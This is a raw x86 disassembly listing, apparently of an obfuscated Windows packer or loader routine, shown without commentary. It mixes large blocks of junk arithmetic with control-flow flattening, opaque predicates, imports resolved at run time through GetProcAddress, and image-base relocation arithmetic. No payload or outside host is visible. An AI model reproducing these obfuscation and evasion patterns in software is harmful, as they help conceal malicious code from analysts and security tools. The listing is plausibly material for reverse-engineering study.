neg edi
dec edi
inc ebx
bswap edx
imul edi
imul ebx
not edx
imul edx
not ebx
or edx, 0xde
ror edx, 0x46
dec eax
and esi, 0xfb
sub ebx, 0xae
rol eax, 0x86
not ebx
add edi, 0x2e
neg ebx
rcl edx, 0x6c
ror esi, 0x4b
dec ebx
rcl eax, 0x26
mov eax, 0xfa
and ebx, 0x77
imul esi
not edi
bswap eax
rcr ebx, 0x2c
dec ebx
ror esi, 0xc0
rol edi, 0x7c
not ebx
add ebx, 0x45
ror esi, 0x5f
imul edi
sbb eax, 0x59
rcl eax, 0x47
sbb eax, 0x17
not ebx
imul eax
neg ebx
mov edx, 0xf6
bswap ebx
mov esi, 0xfd
not edx
rcl edi, 0xa1
or eax, 0x98
neg edx
or esi, 0xe
neg edx
sbb edx, 0xe0
mov edx, 0xc2
rcr ebx, 0x21
imul eax
imul esi
inc esi
inc eax
not eax
sub ebx, 0xd
rcl edi, 0xf8
mov edi, 0x1d
and edi, 0xe2
add ebx, 0x56
neg edx
ror ebx, 0xc9
neg ebx
neg esi
dec esi
neg edx
inc eax
not edi
neg eax
rol eax, 0xce
rcl eax, 0xcb
bswap esi
add esi, 0x32
neg edi
mov ebx, 0x40
sub eax, 0xb5
or edx, 0xce
or eax, 0x76
sbb esi, 0xe3
inc edx
not ebx
inc esi
bswap eax
dec ebx
dec edx
not ebx
dec edi
imul edi
rcr eax, 0x19
add esi, 0x67
add eax, 0x66
rol eax, 0x3b
inc edi
not esi
neg esi
imul edx
bswap ebx
mov eax, 0x93
not esi
sbb eax, 0x1a
or edx, 0x36
ror edx, 0x4b
inc esi
imul ebx
neg eax
and ebx, 4
inc edi
inc edi
rcl esi, 0x73
and ebx, 0xba
bswap esi
bswap esi
rol eax, 0x51
imul edi
rcr edx, 0xcd
not edi
sub edx, 0xf3
dec edi
mov edi, 0xb0
bswap eax
imul edi
rcl edx, 5
not ebx
rcr ebx, 6
mov eax, 0x9d
imul esi
bswap eax
inc edi
bswap ebx
sub eax, 0xd6
bswap edx
neg esi
rcl edx, 0xfc
not ebx
bswap edx
mov edi, 0x1f
rcl eax, 0x2e
rcr ebx, 0xee
rcl ebx, 0x96
imul eax
inc edi
not edx
not ebx
imul edx
imul ebx
rol esi, 0x89
bswap esi
inc esi
and eax, 0x71
mov ebx, 0xdb
bswap ebx
not edi
dec edi
dec edx
imul edx
and ebx, 0x9e
inc edx
bswap ebx
sbb edx, 0x58
bswap esi
mov edx, 0x29
inc edx
add edx, 0x49
bswap eax
mov ebx, 0x31
add eax, 0xfc
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
push 0x1b600
push section..data
vzeroupper
call section..text
add esp, 8
mov eax, dword [ebp - 0x44]
mov dword [eax], section..data
inc ebx
add edx, 0x76
and eax, 0xa6
or edi, 0xe9
rcr edx, 0x79
not ebx
add ebx, 0xbf
inc edi
inc eax
rcr edx, 0x50
sbb edi, 0x44
ror edi, 0x6f
sub esi, 0x7c
rcr ebx, 0x50
sbb ebx, 0x5e
ror eax, 0xdd
rol eax, 0x8b
not edi
and ebx, 0x61
or esi, 0xc4
dec edx
rcr esi, 0xdd
sbb edx, 0x49
inc esi
add eax, 0
rol esi, 0xd
neg edi
or edx, 0xcb
rcr eax, 0x46
imul esi
rcr eax, 0x15
add edx, 0xe4
sbb edx, 0x86
not edx
mov ebx, 0x1a
rol esi, 0xd6
neg ebx
not edx
rcl edi, 0xc8
add edx, 0x98
and eax, 0xec
sub edx, 0xbd
inc ebx
add ebx, 0x37
imul edi
neg edx
sbb edx, 0x98
and edi, 0x2e
imul ebx
rol eax, 0xc4
not edx
neg ebx
add edi, 0xbe
bswap eax
sbb eax, 0xac
and eax, 0xb6
mov esi, 0x3f
neg ebx
neg esi
not edi
rcl eax, 0x5f
and ebx, 0xf8
neg ebx
rcl edx, 0x69
sub ebx, 0x23
not eax
mov eax, 0x11
sub eax, 6
sub edi, 0xbd
ror ebx, 0xf5
rcl ebx, 0xa9
bswap eax
or edx, 0xe3
inc esi
ror ebx, 0x55
rcl ebx, 7
not ebx
rcr ebx, 0xf4
or edi, 0xe0
bswap eax
neg esi
neg ebx
rcr esi, 0xc4
and ebx, 0xcb
imul esi
inc ebx
add ebx, 0xe8
rcr esi, 0x27
not ebx
mov eax, 0xdd
sbb ebx, 0xba
inc edx
ror esi, 0x27
imul edx
ror ebx, 0xda
rol ebx, 0x62
neg edi
dec esi
imul edi
dec ebx
inc ebx
rcl eax, 0x92
neg edi
neg edi
inc edx
imul edx
bswap ebx
sub eax, 0xd4
inc edx
rcr ebx, 0xf3
add edx, 0xe5
dec esi
rcr esi, 1
not edi
inc eax
dec esi
imul esi
imul edi
inc edi
not edx
neg edi
bswap ebx
neg esi
neg edx
dec edx
not esi
imul ebx
add eax, 0xf7
rcr ebx, 0xce
mov ebx, 0x6f
rcr edi, 0xb2
rol esi, 0x21
sub esi, 0x4f
neg esi
dec esi
inc esi
dec edi
and eax, 0x7f
dec edx
inc eax
neg ebx
ror edx, 0xda
rcr esi, 0x37
not ebx
inc ebx
bswap eax
dec eax
dec esi
imul ebx
and esi, 0x5e
inc eax
mov esi, 0xb5
imul edx
imul edi
rol edi, 0x37
mov edi, 0xeb
imul edx
inc ebx
inc eax
neg eax
mov esi, 0x10
add edx, 8
mov ebx, 0xea
inc edi
sub edi, 0x3e
mov esi, 0x84
rcl eax, 0xc4
and ebx, 0x6d
bswap edi
or ebx, 0x1a
or esi, 0xb6
ror eax, 0x30
inc esi
not esi
neg eax
imul eax
neg eax
inc ebx
rcl edx, 0xc9
add edx, 0xa3
dec edi
inc esi
ror edx, 0xa1
rcr eax, 0x8f
neg eax
or edi, 0xef
inc ebx
rcr edi, 0x2e
bswap edi
dec edi
rcl edx, 0x15
dec eax
imul edi
rcr esi, 0x3e
rcl esi, 0x76
rcl eax, 0x2a
imul edx
add esi, 0x1a
sbb esi, 0x15
sbb edx, 0xfe
and esi, 0x46
rcr esi, 0x6b
sbb esi, 0x53
or esi, 0x44
imul esi
dec eax
and esi, 0x64
ror ebx, 0xbb
bswap ebx
dec edx
inc eax
dec esi
ror esi, 0x2b
dec ebx
rcr edi, 0x66
imul edx
rcl ebx, 0xa8
dec edi
neg edx
inc esi
bswap ebx
inc esi
not eax
inc eax
inc edx
sub ebx, 0xd0
inc esi
add edi, 0xa3
rol edx, 0xdb
not ebx
imul edi
or edx, 0x34
not eax
dec eax
dec esi
bswap edi
ror edi, 0x3b
sub ebx, 0xda
bswap edx
mov esi, 0xd
ror ebx, 0x52
dec edx
rcl edx, 0x95
not edx
sbb esi, 0x71
mov edi, 0x14
imul edx
add esi, 0xa0
imul ebx
bswap edi
add eax, 0xf7
imul eax
or esi, 0xcf
ror esi, 0x67
not edx
bswap edi
rol esi, 0x84
not ebx
imul eax
sbb edi, 3
inc esi
imul ebx
neg edx
and edx, 0x24
sub edi, 0x81
rcr eax, 0x15
imul ebx
bswap edx
ror eax, 0x7d
imul eax
and esi, 0xd3
sbb edx, 0x1d
sbb ebx, 0x3f
neg edi
sbb edi, 0x24
rol eax, 0x69
add esi, 0xba
mov ebx, 0x6f
neg ebx
sub esi, 0x7b
mov ebx, 0x17
not eax
sbb esi, 0x8d
add ebx, 0xad
bswap eax
not ebx
neg ebx
rol eax, 0x28
neg edx
add ebx, 0xb0
imul edx
not esi
bswap edi
sbb edx, 0x38
sbb esi, 0x5f
sbb eax, 0xe1
inc esi
dec edx
rcl eax, 0xdb
imul edx
neg ebx
bswap edi
not edi
sub edi, 0xb6
bswap esi
rcr eax, 3
ror edx, 0x60
rol edx, 4
rcl esi, 0xec
rol ebx, 6
or edx, 0xb0
ror edi, 0xa5
rol edx, 0x1e
neg ebx
inc edi
rcl edi, 0x22
dec edi
mov eax, 0xad
rcl ebx, 0x4d
and edi, 0xaa
inc edx
inc ebx
rcr ebx, 0xa7
not edx
inc eax
imul esi
and edi, 0x74
neg eax
bswap esi
dec edi
add eax, 0x14
rcl edi, 0x15
not edx
or eax, 0x8c
add edi, 0x98
or ebx, 0xb1
rcr eax, 0x5a
sub edi, 0xce
rol ebx, 0x54
dec edx
rol esi, 0x2d
add eax, 0xb8
bswap ebx
or eax, 0x6c
inc esi
sub eax, 0xef
sbb esi, 0
rcl ebx, 0x2c
and eax, 0xa0
or eax, 0xf7
inc edi
imul ebx
add esi, 0x11
neg ebx
neg ebx
mov edi, 0xd9
bswap edx
sbb ebx, 8
add esi, 0x21
dec eax
and edx, 0x34
add ebx, 0xb
ror ebx, 1
bswap edx
dec edi
sbb eax, 0xa
not edi
ror edx, 0x42
mov edi, 0x28
imul ebx
dec edi
neg edi
imul esi
not eax
rol edi, 0x19
neg eax
not eax
sub ebx, 0x1b
imul esi
inc esi
inc edi
sub esi, 0x86
neg esi
inc edx
imul esi
rol ebx, 0xeb
dec edx
dec edi
neg esi
add eax, 0x80
inc eax
imul esi
not eax
add edx, 0xb6
rcr eax, 0x63
rcl edx, 5
ror ebx, 0xf5
not ebx
rol ebx, 0x6f
rcr esi, 0x3e
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, 0x7b1b5389
jmp 0x402900
mov eax, dword [ebp - 0x74]
push dword [ebp - 0x140]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x18c0006
and eax, 0xe102200
mov edx, ecx
or edx, 0x60601861
and esi, 0x61ec1867
and ecx, 0x9003c598
and edx, 0x61ec1867
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xf063ddf9
and ecx, 0xf9c2206
or eax, ecx
mov esi, eax
xor esi, 0xf77a2fa5
mov edx, eax
and edx, 0x88fd2614
and esi, eax
not eax
and eax, 0x7702d9eb
or edx, eax
mov ecx, edx
xor edx, 0x7702d9eb
xor ecx, 0x88fd2614
mov eax, edx
or eax, 0x885d05a
mov ebx, ecx
and ebx, 0x825a0881
and edx, 0xe56b3348
mov edi, eax
and edi, 0x7521e73c
or ebx, edi
mov edi, esi
not edi
and esi, 0x8ade18c3
or eax, edi
and edi, 0x7521e73c
or esi, edi
not eax
xor esi, ebx
or eax, esi
mov esi, eax
not esi
and eax, 0xf77a2fa4
and esi, 0x885d05b
or eax, esi
mov esi, ecx
and esi, 0x1a94ccb7
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0xe56b3349
xor esi, 0xa008090
or ecx, edx
mov edx, eax
not edx
and eax, 0xcb4ab398
and esi, 0xcb4ab398
mov edi, edx
or edx, ecx
and edi, 0x34b54c67
and ecx, 0x34b54c67
or eax, edi
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov esi, 0xe471c476
mov eax, edx
not eax
and edx, 0xddc15953
and eax, 0x223ea6ac
or edx, eax
mov eax, edx
xor eax, 0x1815953
xor edx, 0x21e0084
and edx, 0xde5e0084
and eax, 0x21a1ff7b
or eax, edx
mov ecx, eax
xor ecx, 0x100a0080
xor eax, 0x21a1ff7b
mov edx, eax
and edx, 0xeef5d12d
and ecx, 0x110a2ed2
or ecx, edx
xor ecx, 0x110a2ed2
or ecx, eax
xor ecx, 0xffffffff
setne cl
sete dl
cmp dword [0x460980], 0xa
mov ch, cl
setl ah
setge al
and ch, al
and dl, ah
xor cl, ah
or dl, ch
mov ah, cl
xor al, dl
and al, dl
mov edx, ecx
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x3ce56b6a
cmovne eax, esi
test dl, dl
mov edx, 0x3ce56b6a
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0xc8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, 0x90fcc4e7
jmp 0x402900
mov eax, 0xa1dcd9a5
jmp 0x402900
mov ecx, dword [0x460984]
mov edi, 0x47a217b4
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x5908dea6
and eax, 0xbf8401e6
mov esi, edx
and esi, 0xa6f72158
or ecx, esi
mov esi, ecx
xor esi, 0x51088a80
xor ecx, 0xc10151
and ecx, 0x8c15577
and esi, 0xf73eaa88
or esi, ecx
mov ecx, edx
or ecx, 0x8c15576
and edx, 0x407bfe19
and ecx, 0x8c15577
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0xda75dc2e
mov esi, edx
and esi, 0x258a23d1
or ecx, esi
mov esi, eax
xor esi, 0x9a040026
xor eax, 0xa2211
and eax, 0x258a23d1
and esi, 0xda75dc2e
or esi, eax
xor esi, ecx
not esi
or esi, edx
cmp esi, 0xffffffff
mov esi, 0x8b096e32
setne al
cmp dword [0x460980], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
xor ah, 1
xor cl, 1
and al, dl
or al, ah
xor al, cl
mov edx, eax
cmovne esi, edi
not dl
test dl, cl
mov edx, 0x8b096e32
cmove esi, edx
cmovne esi, edi
test al, al
cmovne esi, edi
mov eax, esi
jmp 0x402900
mov eax, dword [ebp - 0x4c]
mov edi, 0x326c7593
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x48]
mov ecx, dword [0x460984]
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x4a880020
mov ecx, edx
and ecx, 0x42106cd
and edx, 0x5c0fa994
or esi, ecx
mov ecx, eax
and ecx, 0xb156f912
and eax, 0xa3f0566b
xor esi, 0x4a880020
or eax, edx
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x4ea906ec
and esi, 0xb156f913
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x91e4c32b
mov esi, edx
and esi, 0x6e1b3cd4
or ecx, esi
mov esi, eax
xor esi, 0x81e0422b
xor eax, 0x4c0b2894
and eax, 0x6e1b3cd4
and esi, 0x91e4c32b
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xbd6c3df
setne dl
sete ah
cmp dword [0x460980], 0xa
setl ch
mov al, ch
or dl, ch
xor al, ah
mov dh, dl
mov cl, al
and al, ch
xor al, 1
xor cl, 1
xor dh, al
or al, dl
and cl, ah
xor al, 1
mov dl, cl
or al, dh
xor dl, 1
xor cl, al
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0x326c7593
cmovne ecx, esi
test al, 1
cmovne ecx, edi
test dl, 1
cmove ecx, esi
mov eax, ecx
jmp 0x402900
mov eax, 0x5bdd6daa
jmp 0x402900
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, 0x12dfe1fe
jmp 0x402900
movzx eax, word [ebp - 0xd6]
mov ecx, dword [ebp - 0x74]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, 0x6f0f0754
jmp 0x402900
mov eax, dword [0x460984]
mov esi, 0x31e0edf1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x9b850b4f
and eax, 0x647af4b0
or ecx, eax
mov eax, ecx
xor ecx, 0x601a10b0
xor eax, 0x9b850b4f
mov edx, eax
and ecx, 0xe09f1af6
and edx, 0x1f60e509
and eax, 0xfffffffe
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x62c683c0
and ecx, 0x9d397c3f
or edx, ecx
xor edx, 0x82599937
or eax, edx
mov edx, eax
xor edx, 0x8636629c
mov ecx, eax
and ecx, 0x82302084
and edx, eax
not eax
and eax, 0x4064218
or ecx, eax
xor ecx, 0x82302084
or ecx, edx
not edx
and edx, 0x79c99d63
and ecx, 0x8636629c
or ecx, edx
sete dl
setne ch
cmp dword [0x460980], 0xa
setge al
setl ah
mov cl, al
xor al, dl
xor cl, ch
or ch, ah
and cl, ah
or ah, dl
xor ch, 1
mov dl, ah
or cl, ch
xor dl, al
or al, ah
mov ah, cl
xor al, 1
xor ah, 1
or al, dl
mov edx, eax
not dl
and dl, ah
or ah, al
and al, cl
or al, dl
mov edx, 0xd7a79b55
mov ecx, eax
xor cl, ah
test al, 1
cmovne edx, esi
test ah, ah
mov eax, 0xd7a79b55
cmovne edx, eax
test cl, 1
cmove edx, esi
mov eax, edx
jmp 0x402900
mov eax, 0xe1a73956
jmp 0x402900
mov eax, dword [ebp - 0x20]
mov eax, 0x1cbf4117
jmp 0x402900
mov eax, 0xe18e2c3f
jmp 0x402900
cmp eax, 0x28530b9d
jne 0x402900
mov esi, dword [ebp - 0x1f0]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0042f200
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret